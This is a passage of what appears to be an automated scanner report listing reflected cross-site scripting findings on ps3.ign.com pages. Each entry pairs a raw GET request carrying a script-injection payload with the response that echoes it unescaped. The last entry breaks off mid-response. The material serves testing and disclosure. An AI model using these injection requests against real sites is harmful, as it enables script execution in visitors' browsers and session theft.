<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/index/latest-updates.html?types=allc816f"><script>alert(1)</script>798af2f97c8&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.383. http://ps3.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bc477"-alert(1)-"f3c5a983a90 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?types=allbc477"-alert(1)-"f3c5a983a90 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:35 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-1079623401-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:35 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043795559v-1n-12mc+1297043795559mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 115828

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
uard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/index/latest-updates.html?types=allbc477"-alert(1)-"f3c5a983a90",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.384. http://ps3.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bfa5d"-alert(1)-"af0463b8eb2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/news.html?bfa5d"-alert(1)-"af0463b8eb2=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:30 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:30 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15005-1671358632-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043787709v-1n-12mc+1297043787709mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 129946

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN PS3: Games, Ch
...[SNIP]...
f(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/index/news.html?bfa5d"-alert(1)-"af0463b8eb2=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.385. http://ps3.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef080"><script>alert(1)</script>e974aa6ea75 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/news.html?ef080"><script>alert(1)</script>e974aa6ea75=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-550985317-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:24 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043784140v-1n-12mc+1297043784140mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 129858

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PS3: Games, Ch
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/index/news.html?ef080"><script>alert(1)</script>e974aa6ea75=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.386. http://ps3.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fa52e"-alert(1)-"4aeaced405c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/previews.html?fa52e"-alert(1)-"4aeaced405c=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:22 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:22 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32463-1959883104-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:21 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043781622v-1n-12mc+1297043781622mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 125034

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN PS3: Games, Ch
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/index/previews.html?fa52e"-alert(1)-"4aeaced405c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.387. http://ps3.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6402"><script>alert(1)</script>01905e7bb75 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/previews.html?c6402"><script>alert(1)</script>01905e7bb75=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-3558-1095948889-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:19 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043779469v-1n-12mc+1297043779469mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 125148

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PS3: Games, Ch
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/index/previews.html?c6402"><script>alert(1)</script>01905e7bb75=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.388. http://ps3.ign.com/index/psn-games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/psn-games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b232"><script>alert(1)</script>9d4448b2e18 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/psn-games.html?1b232"><script>alert(1)</script>9d4448b2e18=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:40 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:40 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-2082973409-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:40 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043800524v-1n-12mc+1297043800524mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 184311

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>All PlayStation Ne
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/index/psn-games.html?1b232"><script>alert(1)</script>9d4448b2e18=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.389. http://ps3.ign.com/index/psn-games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/psn-games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload acf2c"-alert(1)-"6bb90e049a0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/psn-games.html?acf2c"-alert(1)-"6bb90e049a0=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:43 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:43 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31243-2048122252-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043802774v-1n-12mc+1297043802774mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 183293

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>All PlayStation Ne
...[SNIP]...
eof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/index/psn-games.html?acf2c"-alert(1)-"6bb90e049a0=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.390. http://ps3.ign.com/index/psn-reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/psn-reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8e61b"-alert(1)-"1978262332b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/psn-reviews.html?8e61b"-alert(1)-"1978262332b=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:23 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:23 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26185-369078600-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:23 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043783345v-1n-12mc+1297043783345mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 136927

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>PSN Game Reviews,
...[SNIP]...
f _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/index/psn-reviews.html?8e61b"-alert(1)-"1978262332b=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.391. http://ps3.ign.com/index/psn-reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/psn-reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 333d2"><script>alert(1)</script>5af7dbe7709 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/psn-reviews.html?333d2"><script>alert(1)</script>5af7dbe7709=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:20 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15005-1439438278-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:20 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043780155v-1n-12mc+1297043780155mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 137010

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>PSN Game Reviews,
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/index/psn-reviews.html?333d2"><script>alert(1)</script>5af7dbe7709=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.392. http://ps3.ign.com/index/psn-upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/psn-upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e6b7e"-alert(1)-"eda54c92041 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/psn-upcoming.html?e6b7e"-alert(1)-"eda54c92041=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:27 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-1180642370-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043787568v-1n-12mc+1297043787568mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 152386

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New PSN Games, The
...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/index/psn-upcoming.html?e6b7e"-alert(1)-"eda54c92041=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.393. http://ps3.ign.com/index/psn-upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/psn-upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ba1d"><script>alert(1)</script>efb3e24d774 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/psn-upcoming.html?1ba1d"><script>alert(1)</script>efb3e24d774=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:25 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:25 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24287-609920002-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:25 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043785111v-1n-12mc+1297043785111mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 152444

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New PSN Games, The
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/index/psn-upcoming.html?1ba1d"><script>alert(1)</script>efb3e24d774=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.394. http://ps3.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e390"><script>alert(1)</script>f29ee9234aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/reviews.html?1e390"><script>alert(1)</script>f29ee9234aa=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31833-168920681-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:19 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043779071v-1n-12mc+1297043779071mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 174546

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New PlayStation 3
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/index/reviews.html?1e390"><script>alert(1)</script>f29ee9234aa=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.395. http://ps3.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f8a1"-alert(1)-"a0d00978690 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/reviews.html?5f8a1"-alert(1)-"a0d00978690=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:22 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:22 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-1614554413-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:22 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043782654v-1n-12mc+1297043782654mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 172771

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New PlayStation 3
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/index/reviews.html?5f8a1"-alert(1)-"a0d00978690=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.396. http://ps3.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7621b"><script>alert(1)</script>99eee11f49 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/upcoming.html?7621b"><script>alert(1)</script>99eee11f49=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
